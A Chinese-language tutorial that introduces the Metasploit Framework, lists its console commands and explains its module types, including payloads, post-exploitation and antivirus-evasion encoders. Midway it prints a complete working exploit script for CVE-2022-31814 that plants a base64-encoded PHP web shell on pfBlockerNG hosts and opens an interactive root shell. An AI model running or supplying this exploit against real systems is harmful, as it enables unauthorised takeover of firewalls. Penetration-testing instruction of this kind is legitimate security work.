Metasploit:
The Metasploit Framework 的简称。是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一。
好了直接进
首先我们可以直接打开kali系统的终端控制台或者通过ssh进入
这一步可以参照这专栏之前的博客(别旷课哈,环环相扣,旷课就坐飞机了)
我这里就直接通过控制台进了 ,你也可以通过xshell等等工具进入
切换到root用户再执行
msfconsole
这里就是启动Metasploit控制台的命令
好了我们来了解一下,控制台输入help
help
核心命令
核心命令
=============
命令 描述
------- -----------
? 帮助菜单
banner 横幅
cd 打开或更改当前目录
color 切换颜色
connect 连接与主机通信
debug 调试
exit 退出
features 未来、显示尚未发布功能列表
get 获取特定上下文列表
getg 获取全局变量的值
grep Grep另一个命令的输出
help 帮助菜单
history 显示历史命令
load 加载框架插件
quit 退出控制台
repeat 重复命令列表
route 路由,通过会话路由量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将上下文特定变量设置为值
setg 将全局变量设置为值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
tips 显示有用的生产力提示列表
unload 卸载框架插件
unset 取消设置一个或多个上下文特定变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
模块命令
模块命令
===============
命令 描述
------- -----------
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
clearm 清除模块堆栈
favorite 将模块添加到收藏夹模块列表
info 显示一个或多个模块的信息
listm 列出模块堆栈
loadpath 从路径搜索和加载模块
options 显示一个或多个模块的全局选项或
popm 从堆栈中弹出最新的模块并使其处于活动状态
previous 将先前加载的模块设置为当前模块
pushm 将活动模块或模块列表推送到模块堆栈上
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和说明
show 显示给定类型的模块或所有模块
use 通过名称或搜索词/索引与模块交互
工作命令
工作命令
============
Command Description
------- -----------
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死终结工作
rename_job 重命名作业
数据库后端命令
数据库后端命令
=========================
Command Description
------- -----------
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认连接
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
可以直接查询某个模块或者选项,然后你去慢慢了解这些都是用来干啥的以及用法
search option
auxiliary 辅助模块
辅助模块通常用来搜集情报的工作,从而帮助我们发起更具目的性的精准攻击(端口扫描,密码爆破,敏感目录嗅探。。。)
exploits漏洞利用模块
之前我们大概看了一下漏洞CVE和CNVD信息安全共享平台公布的漏洞
既然我们公布了这些漏洞,那我们该怎么利用这些漏洞呢?
比如
CVE-2022-31814
它的复现脚本
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
url = args.url
shell_filename = "system_advanced_control.php"
def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()
def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()
def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")
check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)
而更多时候我们做渗透时并不关心它的过程,而只注重能不能复现的结果
而exploits 集成了很多当前主流的一些漏洞脚本,把它模块化,更加方便的我们进行漏洞复现
payloads攻击载荷
payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的(反弹链接等等),可返回shell,也可以进行程序注入等。也有人把payloads称 为shellcode。
1、singles独立的载荷,一个Singles载荷可以在目标系统上添加用户或运行calc.exe文件。
这些攻击载荷都是自包含的,所以它们能被像netcat等非metasploit程序捕获。
2、stagers:传输器载荷,在攻击者与被攻击者之间建立网络连接,同时要设计的小而可靠,
可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,
bind型是需要攻击机主动连接目标端口的;
而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
3、stages:传输体载荷,它可以利用微小的stagers载荷以适应那些漏洞利用空间狭小的漏洞完成攻击。
在漏洞攻击过程中,漏洞攻击开发者能够支配的内存空间非常有限。
stagers则可以利用这些空间,其主要工作就是完成stages载荷的剩余任务,
在stagers建立好稳定的连接后,攻击机将stages传输给目标机,
由stagers进行相应处理,将控制权转交给stages
post后渗透阶段模块
漏洞利用成功获得meterpreter之后,向被该目标发出各种指令的操作
比如: 提权,留后门,敏感数据提取等等。。。
encoders编码器模块
编辑器模块其包含的各种编码工具可以对payload进行编码加密,以便绕开目标机器的各种防御,也就是给你的木马后门加壳混淆,以规避防病毒或NIDS、EDR等防御。
evasion 逃避模块
用来生成免杀payload 用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。
Nops空指令模块
空指令指不会对程序运行状态造成任何实质影响的空操作或者无关操作的指令,并不是实际意义上的空,通常用来填充、延迟、等待、清除、破解等操作